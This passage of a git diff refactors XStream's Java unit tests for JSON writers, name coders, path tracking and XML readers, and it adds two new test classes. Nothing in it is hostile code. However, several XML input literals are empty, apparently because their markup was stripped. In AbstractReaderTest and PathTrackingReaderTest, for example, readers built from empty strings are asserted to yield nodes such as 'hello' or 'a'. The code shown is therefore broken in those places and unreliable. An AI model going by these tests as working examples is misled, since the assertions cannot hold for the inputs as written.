sa = new SystemAttributes(); sa.name = "joe"; sa.object = "walnes"; sa.original = new Original("hello world"); - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'sa': {\n" + " 'name': 'joe',\n" + " 'object': 'walnes',\n" @@ -98,13 +103,14 @@ public void testWillWriteTagValueAsDefaultValueIfNecessary() { assertEquals(expected, xstream.toXML(sa)); } + @Override public void testRealTypeIsHonoredWhenWritingTheValue() { xstream.alias("sa", SystemAttributes.class); - List list = new ArrayList(); + final List list = new ArrayList(); list.add("joe"); list.add("mauro"); - SystemAttributes[] sa = new SystemAttributes[2]; + final SystemAttributes[] sa = new SystemAttributes[2]; sa[0] = new SystemAttributes(); sa[0].name = "year"; sa[0].object = new Integer(2000); @@ -112,20 +118,20 @@ public void testRealTypeIsHonoredWhenWritingTheValue() { sa[1].name = "names"; sa[1].object = list; - String expected = normalizeExpectation("" - + "{'sa-array': [\n" - + " {\n" - + " 'name': 'year',\n" - + " 'object': 2000\n" - + " },\n" - + " {\n" - + " 'name': 'names',\n" - + " 'object': [\n" - + " 'joe',\n" - + " 'mauro'\n" - + " ]\n" - + " }\n" - + "]}"); + final String expected = normalizeExpectation("" + + "{'sa-array': [\n" + + " {\n" + + " 'name': 'year',\n" + + " 'object': 2000\n" + + " },\n" + + " {\n" + + " 'name': 'names',\n" + + " 'object': [\n" + + " 'joe',\n" + + " 'mauro'\n" + + " ]\n" + + " }\n" + + "]}"); assertEquals(expected, xstream.toXML(sa)); } @@ -133,7 +139,9 @@ public void testRealTypeIsHonoredWhenWritingTheValue() { public void testStrictJSON() { xstream = new XStream(new JsonHierarchicalStreamDriver() { - public HierarchicalStreamWriter createWriter(Writer out) { + @SuppressWarnings("static-access") + @Override + public HierarchicalStreamWriter createWriter(final Writer out) { // do not allow invalid JSON return new JsonWriter(out, JsonWriter.DROP_ROOT_MODE | JsonWriter.STRICT_MODE); } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterModeTest.java b/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterModeTest.java index aa30ad8ac..3c444486e 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterModeTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterModeTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009, 2011, 2013 XStream Committers. + * Copyright (C) 2009, 2011, 2013, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -18,15 +18,15 @@ import java.util.Arrays; import java.util.HashSet; +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + import com.thoughtworks.acceptance.someobjects.X; import com.thoughtworks.acceptance.someobjects.Y; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.json.JsonWriter.Format; -import org.json.JSONArray; -import org.json.JSONException; -import org.json.JSONObject; - import junit.framework.Test; import junit.framework.TestCase; import junit.framework.TestSuite; @@ -34,39 +34,31 @@ /** * Tests the {@link JsonWriter} formats. - * + * * @author Jörg Schaible */ public class JsonWriterModeTest extends TestCase { - private XStream xstream; - private Object target; + private final XStream xstream; + private final Object target; private final int mode; private final Format format; public JsonWriterModeTest( - String name, int xstreamMode, int writerMode, JsonWriter.Format format) { + final String name, final int xstreamMode, final int writerMode, final JsonWriter.Format format) { super(name); - this.mode = writerMode; + mode = writerMode; this.format = format; - X x = new X(42); + final X x = new X(42); x.aStr = "Codehaus"; x.innerObj = new Y(); x.innerObj.yField = "Y"; - target = new ArrayList(Arrays - .asList(new Object[]{ - new Object[][]{new Object[0]}, - null, - new Integer(42), - new Long(Long.MAX_VALUE), - new Y(), - x.innerObj, - new ArrayList(), - new CharSequence[]{ - "JUnit", "XStream", new StringBuffer("JSON"), new StringBuffer("JScript")}, - x,})); + target = new ArrayList(Arrays.asList(new Object[]{ + new Object[][]{new Object[0]}, null, new Integer(42), new Long(Long.MAX_VALUE), new Y(), x.innerObj, + new ArrayList(), new CharSequence[]{ + "JUnit", "XStream", new StringBuffer("JSON"), new StringBuffer("JScript")}, x,})); xstream = new XStream(); xstream.setMode(xstreamMode); @@ -75,38 +67,40 @@ public JsonWriterModeTest( xstream.alias("CharSequence", CharSequence.class); } + @Override protected void runTest() throws Throwable { // toConsole(mode, format); - String json = toJSON(mode, format); + final String json = toJSON(mode, format); assertValidJSON(json); } - private static void assertValidJSON(String json) throws JSONException { - JSONObject jsonObject = new JSONObject(json); + private static void assertValidJSON(final String json) throws JSONException { + final JSONObject jsonObject = new JSONObject(json); assertTrue(equals(jsonObject, new JSONObject(jsonObject.toString()))); } - - private static boolean equals(JSONObject object1, JSONObject object2) { - String[] names = JSONObject.getNames(object1); + + private static boolean equals(final JSONObject object1, final JSONObject object2) { + final String[] names = JSONObject.getNames(object1); try { if (names == null) { return JSONObject.getNames(object2) == null; } - if (new HashSet(Arrays.asList(names)).equals(new HashSet(Arrays.asList(JSONObject.getNames(object2))))) { - for (int i = 0; i < names.length; i++) { - if (!equals(object1.get(names[i]), object2.get(names[i]))) { - return false; - } - } + if (new HashSet(Arrays.asList(names)).equals(new HashSet(Arrays.asList(JSONObject.getNames( + object2))))) { + for (String name : names) { + if (!equals(object1.get(name), object2.get(name))) { + return false; + } + } return true; } - } catch (JSONException e) { + } catch (final JSONException e) { // ignore - return false } return false; } - private static boolean equals(JSONArray array1, JSONArray array2) { + private static boolean equals(final JSONArray array1, final JSONArray array2) { int length = array1.length(); if (length == array2.length()) { try { @@ -116,20 +110,20 @@ private static boolean equals(JSONArray array1, JSONArray array2) { } } return true; - } catch (JSONException e) { + } catch (final JSONException e) { // ignore - return false } } return false; } - private static boolean equals(Object o1, Object o2) { + private static boolean equals(final Object o1, final Object o2) { if (o1 == null && o2 == null) { return true; - } else if ((o1 == null && o2 != null) || (o1 != null && o2 == null)) { + } else if (o1 == null && o2 != null || o1 != null && o2 == null) { return false; } - Class type = o1.getClass(); + final Class type = o1.getClass(); if (type != o2.getClass()) { return false; } @@ -141,61 +135,53 @@ private static boolean equals(Object o1, Object o2) { return o1.equals(o2); } - private String toJSON(int mode, JsonWriter.Format format) { + private String toJSON(final int mode, final JsonWriter.Format format) { final StringWriter writer = new StringWriter(1024); writeJSON(writer, mode, format); return writer.toString(); } - private void toConsole(int mode, JsonWriter.Format format) { + @SuppressWarnings("unused") + private void toConsole(final int mode, final JsonWriter.Format format) { System.out.println(xstream.toXML(target)); try { writeJSON(new OutputStreamWriter(System.err, "UTF-8"), mode, format); System.err.println(); - } catch (IOException e) { + } catch (final IOException e) { e.printStackTrace(); } } - private void writeJSON(Writer writer, int mode, JsonWriter.Format format) { - JsonWriter jsonWriter = new JsonWriter(writer, mode, format, 0); - xstream.marshal(target, jsonWriter); - jsonWriter.flush(); + private void writeJSON(final Writer writer, final int mode, final JsonWriter.Format format) { + try (JsonWriter jsonWriter = new JsonWriter(writer, mode, format, 0)) { + xstream.marshal(target, jsonWriter); + jsonWriter.flush(); + } } public static Test suite() { - JsonWriter.Format compactFormat = new JsonWriter.Format( - new char[0], new char[0], JsonWriter.Format.COMPACT_EMPTY_ELEMENT); - JsonWriter.Format prettyFormat = new JsonWriter.Format(" ".toCharArray(), "\n" - .toCharArray(), JsonWriter.Format.SPACE_AFTER_LABEL); - - TestSuite suite = new TestSuite(JsonWriterModeTest.class.getName()); - suite.addTest(new JsonWriterModeTest( - "optimizedCompact", XStream.NO_REFERENCES, 0, compactFormat)); - suite.addTest(new JsonWriterModeTest( - "optimizedPretty", XStream.NO_REFERENCES, 0, prettyFormat)); - suite.addTest(new JsonWriterModeTest( - "optimizedCompactIEEE754", XStream.NO_REFERENCES, AbstractJsonWriter.IEEE_754_MODE, - compactFormat)); - suite.addTest(new JsonWriterModeTest( - "explicitCompact", XStream.NO_REFERENCES, AbstractJsonWriter.EXPLICIT_MODE, - compactFormat)); - suite.addTest(new JsonWriterModeTest( - "explicitCompactIEEE754", XStream.NO_REFERENCES, AbstractJsonWriter.EXPLICIT_MODE - | AbstractJsonWriter.IEEE_754_MODE, compactFormat)); - suite.addTest(new JsonWriterModeTest( - "explicitPretty", XStream.NO_REFERENCES, AbstractJsonWriter.EXPLICIT_MODE, - prettyFormat)); - suite.addTest(new JsonWriterModeTest( - "optimizedCompactWithIds", XStream.ID_REFERENCES, 0, compactFormat)); - suite.addTest(new JsonWriterModeTest( - "optimizedPrettyWithIds", XStream.ID_REFERENCES, 0, prettyFormat)); - suite.addTest(new JsonWriterModeTest( - "explicitCompactWithIds", XStream.ID_REFERENCES, AbstractJsonWriter.EXPLICIT_MODE, + final JsonWriter.Format compactFormat = new JsonWriter.Format(new char[0], new char[0], + JsonWriter.Format.COMPACT_EMPTY_ELEMENT); + final JsonWriter.Format prettyFormat = new JsonWriter.Format(" ".toCharArray(), "\n".toCharArray(), + JsonWriter.Format.SPACE_AFTER_LABEL); + + final TestSuite suite = new TestSuite(JsonWriterModeTest.class.getName()); + suite.addTest(new JsonWriterModeTest("optimizedCompact", XStream.NO_REFERENCES, 0, compactFormat)); + suite.addTest(new JsonWriterModeTest("optimizedPretty", XStream.NO_REFERENCES, 0, prettyFormat)); + suite.addTest(new JsonWriterModeTest("optimizedCompactIEEE754", XStream.NO_REFERENCES, + AbstractJsonWriter.IEEE_754_MODE, compactFormat)); + suite.addTest(new JsonWriterModeTest("explicitCompact", XStream.NO_REFERENCES, AbstractJsonWriter.EXPLICIT_MODE, compactFormat)); - suite.addTest(new JsonWriterModeTest( - "explicitPrettyWithIds", XStream.ID_REFERENCES, AbstractJsonWriter.EXPLICIT_MODE, + suite.addTest(new JsonWriterModeTest("explicitCompactIEEE754", XStream.NO_REFERENCES, + AbstractJsonWriter.EXPLICIT_MODE | AbstractJsonWriter.IEEE_754_MODE, compactFormat)); + suite.addTest(new JsonWriterModeTest("explicitPretty", XStream.NO_REFERENCES, AbstractJsonWriter.EXPLICIT_MODE, prettyFormat)); + suite.addTest(new JsonWriterModeTest("optimizedCompactWithIds", XStream.ID_REFERENCES, 0, compactFormat)); + suite.addTest(new JsonWriterModeTest("optimizedPrettyWithIds", XStream.ID_REFERENCES, 0, prettyFormat)); + suite.addTest(new JsonWriterModeTest("explicitCompactWithIds", XStream.ID_REFERENCES, + AbstractJsonWriter.EXPLICIT_MODE, compactFormat)); + suite.addTest(new JsonWriterModeTest("explicitPrettyWithIds", XStream.ID_REFERENCES, + AbstractJsonWriter.EXPLICIT_MODE, prettyFormat)); return suite; } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/naming/StaticNameCoderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/naming/StaticNameCoderTest.java new file mode 100644 index 000000000..29913835a --- /dev/null +++ b/xstream/src/test/com/thoughtworks/xstream/io/naming/StaticNameCoderTest.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2019 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 7. March 2019 by John Bergqvist + */ +package com.thoughtworks.xstream.io.naming; + +import java.util.HashMap; +import java.util.Map; + +import junit.framework.TestCase; + + +public class StaticNameCoderTest extends TestCase { + + public void testMappingIsNotSharedBetweenNodesAndAttributes() { + final Map nodes = new HashMap<>(); + final Map attributes = new HashMap<>(); + nodes.put("node1", "A"); + attributes.put("attribute1", "B"); + + final NameCoder nameCoder = new StaticNameCoder(nodes, attributes); + + assertEquals("A", nameCoder.encodeNode("node1")); + assertEquals("attribute1", nameCoder.encodeNode("attribute1")); + assertEquals("B", nameCoder.encodeAttribute("attribute1")); + assertEquals("node1", nameCoder.encodeAttribute("node1")); + } + + public void testMappingIsSharedWhenAttributesAreNull() { + final Map nodes = new HashMap<>(); + nodes.put("node1", "A"); + nodes.put("attribute1", "B"); + + final NameCoder nameCoder = new StaticNameCoder(nodes, null); + + assertEquals("A", nameCoder.encodeNode("node1")); + assertEquals("B", nameCoder.encodeNode("attribute1")); + assertEquals("B", nameCoder.encodeAttribute("attribute1")); + assertEquals("A", nameCoder.encodeAttribute("node1")); + } + + public void testMappingIsSymmetrical() { + final Map nodes = new HashMap<>(); + final Map attributes = new HashMap<>(); + nodes.put("node1", "A"); + attributes.put("attribute1", "B"); + + final NameCoder nameCoder = new StaticNameCoder(nodes, attributes); + + assertEquals("node1", nameCoder.decodeNode(nameCoder.encodeNode("node1"))); + assertEquals("attribute1", nameCoder.decodeAttribute(nameCoder.encodeAttribute("attribute1"))); + } + + public void testUnmappedNodesAndAttributes() { + final Map nodes = new HashMap<>(); + final Map attributes = new HashMap<>(); + nodes.put("node1", "A"); + attributes.put("attribute1", "B"); + + final NameCoder nameCoder = new StaticNameCoder(nodes, attributes); + + assertEquals("A", nameCoder.encodeNode("node1")); + assertEquals("node2", nameCoder.encodeNode("node2")); + assertEquals("B", nameCoder.encodeAttribute("attribute1")); + assertEquals("attribute2", nameCoder.encodeAttribute("attribute2")); + } + + public void testParametersByReference() { + final Map nodes = new HashMap<>(); + final Map attributes = new HashMap<>(); + nodes.put("node1", "A"); + attributes.put("attribute1", "B"); + + final NameCoder nameCoder = new StaticNameCoder(nodes, attributes); + + nodes.put("node2", "C"); + attributes.put("attribute2", "D"); + + assertEquals("A", nameCoder.encodeNode("node1")); + assertEquals("B", nameCoder.encodeAttribute("attribute1")); + assertEquals("node2", nameCoder.encodeNode("node2")); + assertEquals("attribute2", nameCoder.encodeAttribute("attribute2")); + } +} diff --git a/xstream/src/test/com/thoughtworks/xstream/io/path/PathTest.java b/xstream/src/test/com/thoughtworks/xstream/io/path/PathTest.java index 3f4a33659..12415c66d 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/path/PathTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/path/PathTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 02. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.path; @@ -15,80 +15,83 @@ import junit.framework.TestCase; import junit.framework.TestSuite; + public class PathTest extends TestCase { public static Test suite() { - TestSuite result = new TestSuite(PathTest.class.getName()); - - addTest(result, - "/a/b/c", - "/a/b/c", - ".", - ".", - true); - - addTest(result, - "/a", - "/a/b/c", - "b/c", - "b[1]/c[1]", - true); - - addTest(result, - "/a/b/c", - "/a", - "../..", - "../..", - false); - - addTest(result, - "/a/b/c", - "/a/b/X", - "../X", - "../X[1]", - false); - - addTest(result, - "/a/b/c", - "/a/X/c", - "../../X/c", - "../../X[1]/c[1]", - false); - - addTest(result, - "/a/b/c/d", - "/a/X/c", - "../../../X/c", - "../../../X[1]/c[1]", - false); - - addTest(result, - "/a/b/c", - "/a/X/c/d", - "../../X/c/d", - "../../X[1]/c[1]/d[1]", - false); - - addTest(result, - "/a/b/c[2]", - "/a/b/c[3]", - "../c[3]", - "../c[3]", - false); - - addTest(result, - "/a", - "/a[1]", - ".", - ".", - true); + final TestSuite result = new TestSuite(PathTest.class.getName()); + + addTest(result, // + "/a/b/c", // + "/a/b/c", // + ".", // + ".", // + true); + + addTest(result, // + "/a", // + "/a/b/c", // + "b/c", // + "b[1]/c[1]", // + true); + + addTest(result, // + "/a/b/c", // + "/a", // + "../..", // + "../..", // + false); + + addTest(result, // + "/a/b/c", // + "/a/b/X", // + "../X", // + "../X[1]", // + false); + + addTest(result, // + "/a/b/c", // + "/a/X/c", // + "../../X/c", // + "../../X[1]/c[1]", // + false); + + addTest(result, // + "/a/b/c/d", // + "/a/X/c", // + "../../../X/c", // + "../../../X[1]/c[1]", // + false); + + addTest(result, // + "/a/b/c", // + "/a/X/c/d", // + "../../X/c/d", // + "../../X[1]/c[1]/d[1]", // + false); + + addTest(result, // + "/a/b/c[2]", // + "/a/b/c[3]", // + "../c[3]", // + "../c[3]", // + false); + + addTest(result, // + "/a", // + "/a[1]", // + ".", // + ".", // + true); return result; } - private static void addTest(TestSuite suite, final String from, final String to, final String relative, final String explicit, final boolean isAncestor) { - String testName = from + " - " + to; + private static void addTest(final TestSuite suite, final String from, final String to, final String relative, + final String explicit, final boolean isAncestor) { + final String testName = from + " - " + to; suite.addTest(new TestCase(testName) { + @Override protected void runTest() throws Throwable { assertEquals(new Path(relative), new Path(from).relativeTo(new Path(to))); assertEquals(new Path(to), new Path(from).apply(new Path(relative))); @@ -100,5 +103,4 @@ protected void runTest() throws Throwable { }); } - } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackerTest.java b/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackerTest.java index 45f55425a..324c1e776 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackerTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackerTest.java @@ -1,22 +1,24 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.path; import junit.framework.TestCase; + public class PathTrackerTest extends TestCase { private PathTracker pathTracker; + @Override protected void setUp() throws Exception { super.setUp(); // small initial capacity to ensure resizing works @@ -34,37 +36,37 @@ public void testExposesXpathLikeExpressionOfLocationInWriter() { assertEquals(1, pathTracker.depth()); assertEquals("root", pathTracker.peekElement()); - // + // pathTracker.pushElement("childA"); assertEquals(new Path("/root/childA"), pathTracker.getPath()); assertEquals(2, pathTracker.depth()); assertEquals("childA", pathTracker.peekElement()); - // + // pathTracker.popElement(); assertEquals(new Path("/root"), pathTracker.getPath()); assertEquals(1, pathTracker.depth()); assertEquals("root", pathTracker.peekElement()); - // + // pathTracker.pushElement("childB"); assertEquals(new Path("/root/childB"), pathTracker.getPath()); assertEquals(2, pathTracker.depth()); assertEquals("childB", pathTracker.peekElement()); - // + // pathTracker.pushElement("grandchild"); assertEquals(new Path("/root/childB/grandchild"), pathTracker.getPath()); assertEquals(3, pathTracker.depth()); assertEquals("grandchild", pathTracker.peekElement(0)); assertEquals("childB", pathTracker.peekElement(-1)); assertEquals("root", pathTracker.peekElement(-2)); - // + // pathTracker.popElement(); assertEquals(new Path("/root/childB"), pathTracker.getPath()); assertEquals(2, pathTracker.depth()); assertEquals("childB", pathTracker.peekElement()); - // + // pathTracker.popElement(); assertEquals(new Path("/root"), pathTracker.getPath()); assertEquals(1, pathTracker.depth()); @@ -82,30 +84,30 @@ public void testAddsIndexIfSiblingOfSameTypeAlreadyExists() { // pathTracker.pushElement("root"); - // + // pathTracker.pushElement("child"); assertEquals(new Path("/root/child"), pathTracker.getPath()); - // + // pathTracker.popElement(); - // + // pathTracker.pushElement("child"); assertEquals(new Path("/root/child[2]"), pathTracker.getPath()); assertEquals("child[2]", pathTracker.peekElement()); - // + // pathTracker.popElement(); - // + // pathTracker.pushElement("another"); assertEquals(new Path("/root/another"), pathTracker.getPath()); - // + // pathTracker.popElement(); - // + // pathTracker.pushElement("child"); assertEquals(new Path("/root/child[3]"), pathTracker.getPath()); assertEquals("child[3]", pathTracker.peekElement()); - // + // pathTracker.popElement(); // ... @@ -116,34 +118,34 @@ public void testAssociatesIndexOnlyWithDirectParent() { // pathTracker.pushElement("root"); - // + // pathTracker.pushElement("child"); - // + // pathTracker.pushElement("child"); assertEquals(new Path("/root/child/child"), pathTracker.getPath()); - // + // pathTracker.popElement(); - // + // pathTracker.pushElement("child"); assertEquals(new Path("/root/child/child[2]"), pathTracker.getPath()); - // + // pathTracker.popElement(); - // + // pathTracker.popElement(); - // + // pathTracker.pushElement("child"); - // + // pathTracker.pushElement("child"); assertEquals(new Path("/root/child[2]/child"), pathTracker.getPath()); - // + // pathTracker.popElement(); - // + // pathTracker.pushElement("child"); assertEquals(new Path("/root/child[2]/child[2]"), pathTracker.getPath()); diff --git a/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackingReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackingReaderTest.java index 43deafa61..8f759a57d 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackingReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackingReaderTest.java @@ -1,37 +1,34 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.path; +import java.io.Reader; +import java.io.StringReader; + +import org.xmlpull.mxp1.MXParser; + import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.xml.XppReader; import junit.framework.TestCase; -import org.xmlpull.mxp1.MXParser; - -import java.io.Reader; -import java.io.StringReader; public class PathTrackingReaderTest extends TestCase { public void testDecoratesReaderAndTracksPath() { - Reader input = new StringReader("" + - "" + - " " + - " " + - " " + - ""); + final Reader input = new StringReader("" + "" + " " + " " + " " + ""); + @SuppressWarnings("resource") HierarchicalStreamReader reader = new XppReader(input, new MXParser()); - PathTracker pathTracker = new PathTracker(); + final PathTracker pathTracker = new PathTracker(); reader = new PathTrackingReader(reader, pathTracker); assertEquals(new Path("/a"), pathTracker.getPath()); @@ -56,14 +53,12 @@ public void testDecoratesReaderAndTracksPath() { reader.moveUp(); assertEquals(new Path("/a"), pathTracker.getPath()); } - + public void testPathsAreDecodedInTracker() { - Reader input = new StringReader("" + - "" + - " " + - ""); + final Reader input = new StringReader("" + "" + " " + ""); + @SuppressWarnings("resource") HierarchicalStreamReader reader = new XppReader(input, new MXParser()); - PathTracker pathTracker = new PathTracker(); + final PathTracker pathTracker = new PathTracker(); reader = new PathTrackingReader(reader, pathTracker); assertEquals(new Path("/a"), pathTracker.getPath()); diff --git a/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackingWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackingWriterTest.java index d0cbfc345..4de158e34 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackingWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/path/PathTrackingWriterTest.java @@ -1,35 +1,37 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.path; +import java.io.StringWriter; + import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.io.xml.CompactWriter; import junit.framework.TestCase; -import java.io.StringWriter; public class PathTrackingWriterTest extends TestCase { private StringWriter out; private HierarchicalStreamWriter writer; private PathTracker pathTracker; + @Override protected void setUp() throws Exception { super.setUp(); pathTracker = new PathTracker(); out = new StringWriter(); - HierarchicalStreamWriter originalWriter = new CompactWriter(out); - - writer = new PathTrackingWriter(originalWriter, pathTracker); + try (final HierarchicalStreamWriter originalWriter = new CompactWriter(out)) { + writer = new PathTrackingWriter(originalWriter, pathTracker); + } } public void testDecoratesXmlWriterProxyingAllInvocations() { diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractDocumentWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractDocumentWriterTest.java index 3987757ad..28ac4fc4e 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractDocumentWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractDocumentWriterTest.java @@ -1,31 +1,34 @@ /* - * Copyright (C) 2006, 2007, 2008, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 19. October 2006 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; +import java.util.ArrayDeque; +import java.util.Arrays; +import java.util.Deque; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + import com.thoughtworks.xstream.io.copy.HierarchicalStreamCopier; import com.thoughtworks.xstream.io.xml.xppdom.XppDom; import junit.framework.TestCase; -import java.util.Arrays; -import java.util.HashSet; -import java.util.Set; - -public abstract class AbstractDocumentWriterTest extends TestCase { +public abstract class AbstractDocumentWriterTest extends TestCase { private final HierarchicalStreamCopier copier = new HierarchicalStreamCopier(); - protected DocumentWriter writer; + protected DocumentWriter writer; - protected abstract DocumentReader createDocumentReaderFor(Object node); + protected abstract DocumentReader createDocumentReaderFor(E node); protected void assertDocumentProducedIs(final XppDom expected) { assertDocumentProducedIs(new XppDom[]{expected}); @@ -35,9 +38,9 @@ protected boolean equals(final XppDom node1, final XppDom node2) { if (node1.getName().equals(node2.getName())) { final String value1 = node1.getValue(); final String value2 = node2.getValue(); - if ((value1 == null && value2 == null) || value1.equals(value2)) { - final Set set1 = new HashSet(Arrays.asList(node1.getAttributeNames())); - final Set set2 = new HashSet(Arrays.asList(node2.getAttributeNames())); + if (value1 == null && value2 == null || value1.equals(value2)) { + final Set set1 = new HashSet<>(Arrays.asList(node1.getAttributeNames())); + final Set set2 = new HashSet<>(Arrays.asList(node2.getAttributeNames())); if (set1.equals(set2)) { final XppDom[] children1 = node1.getChildren(); final XppDom[] children2 = node2.getChildren(); @@ -56,15 +59,17 @@ protected boolean equals(final XppDom node1, final XppDom node2) { } protected void assertDocumentProducedIs(final XppDom[] expected) { - for (int i = 0; i < expected.length; i++) { - copier.copy(new XppDomReader(expected[i]), writer); + for (final XppDom element : expected) { + copier.copy(new XppDomReader(element), writer); } - final Object[] nodes = writer.getTopLevelNodes().toArray(new Object[0]); - assertEquals(expected.length, nodes.length); - for (int i = 0; i < nodes.length; i++) { - final XppDomWriter xpp3 = new XppDomWriter(); - copier.copy(createDocumentReaderFor(nodes[i]), xpp3); - assertTrue(equals(expected[i], xpp3.getConfiguration())); + final List nodes = writer.getTopLevelNodes(); + final Deque deque = new ArrayDeque<>(Arrays.asList(expected)); + assertEquals(expected.length, nodes.size()); + for (final E node : nodes) { + try (final XppDomWriter xpp3 = new XppDomWriter()) { + copier.copy(createDocumentReaderFor(node), xpp3); + assertTrue(equals(deque.pollFirst(), xpp3.getConfiguration())); + } } } @@ -119,16 +124,18 @@ public void testSupportsEmptyNestedTags() { assertDocumentProducedIs(parent); } - protected void assertDocumentProducedIs(final XppDom expected, final XppDom tree) - { - copier.copy(new XppDomReader(tree), writer); + protected void assertDocumentProducedIs(final XppDom expected, final XppDom tree) { + try (XppDomReader reader = new XppDomReader(tree)) { + copier.copy(reader, writer); + } - final Object[] nodes = writer.getTopLevelNodes().toArray(new Object[0]); - assertEquals(1, nodes.length); - for (int i = 0; i < nodes.length; i++) { - final XppDomWriter xpp3 = new XppDomWriter(); - copier.copy(createDocumentReaderFor(nodes[i]), xpp3); - assertTrue(equals(expected, xpp3.getConfiguration())); + final List nodes = writer.getTopLevelNodes(); + assertEquals(1, nodes.size()); + for (final E node : nodes) { + try (final XppDomWriter xpp3 = new XppDomWriter()) { + copier.copy(createDocumentReaderFor(node), xpp3); + assertTrue(equals(expected, xpp3.getConfiguration())); } + } } } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractReaderTest.java new file mode 100644 index 000000000..d31b608c9 --- /dev/null +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractReaderTest.java @@ -0,0 +1,260 @@ +/* + * Copyright (C) 2004, 2005 Joe Walnes. + * Copyright (C) 2006, 2007, 2008, 2011, 2012, 2013, 2015, 2018, 2019 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 21. March 2019 by Joerg Schaible, extracted from AbstractreaderTest + */ +package com.thoughtworks.xstream.io.xml; + +import java.util.HashSet; +import java.util.Iterator; +import java.util.Set; + +import com.thoughtworks.xstream.io.HierarchicalStreamReader; + +import junit.framework.TestCase; + + +public abstract class AbstractReaderTest extends TestCase { + + protected abstract HierarchicalStreamReader createReader(String xml) throws Exception; + + public void testStartsAtRootTag() throws Exception { + final HierarchicalStreamReader reader = createReader(""); + assertEquals("hello", reader.getNodeName()); + reader.close(); + } + + public void testCanNavigateDownChildTagsByIndex() throws Exception { + final HierarchicalStreamReader reader = createReader(""); + + assertEquals(1, reader.getLevel()); + assertEquals("a", reader.getNodeName()); + + assertTrue(reader.hasMoreChildren()); + + reader.moveDown(); // /a/b + + assertEquals(2, reader.getLevel()); + assertEquals("b", reader.getNodeName()); + + assertTrue(reader.hasMoreChildren()); + + reader.moveDown(); // a/b/ooh + assertEquals(3, reader.getLevel()); + assertEquals("ooh", reader.getNodeName()); + assertFalse(reader.hasMoreChildren()); + reader.moveUp(); // a/b + + assertEquals(2, reader.getLevel()); + assertFalse(reader.hasMoreChildren()); + + reader.moveUp(); // /a + + assertEquals(1, reader.getLevel()); + assertTrue(reader.hasMoreChildren()); + + reader.moveDown(); // /a/b[2] + + assertEquals(2, reader.getLevel()); + assertEquals("b", reader.getNodeName()); + + assertTrue(reader.hasMoreChildren()); + + reader.moveDown(); // 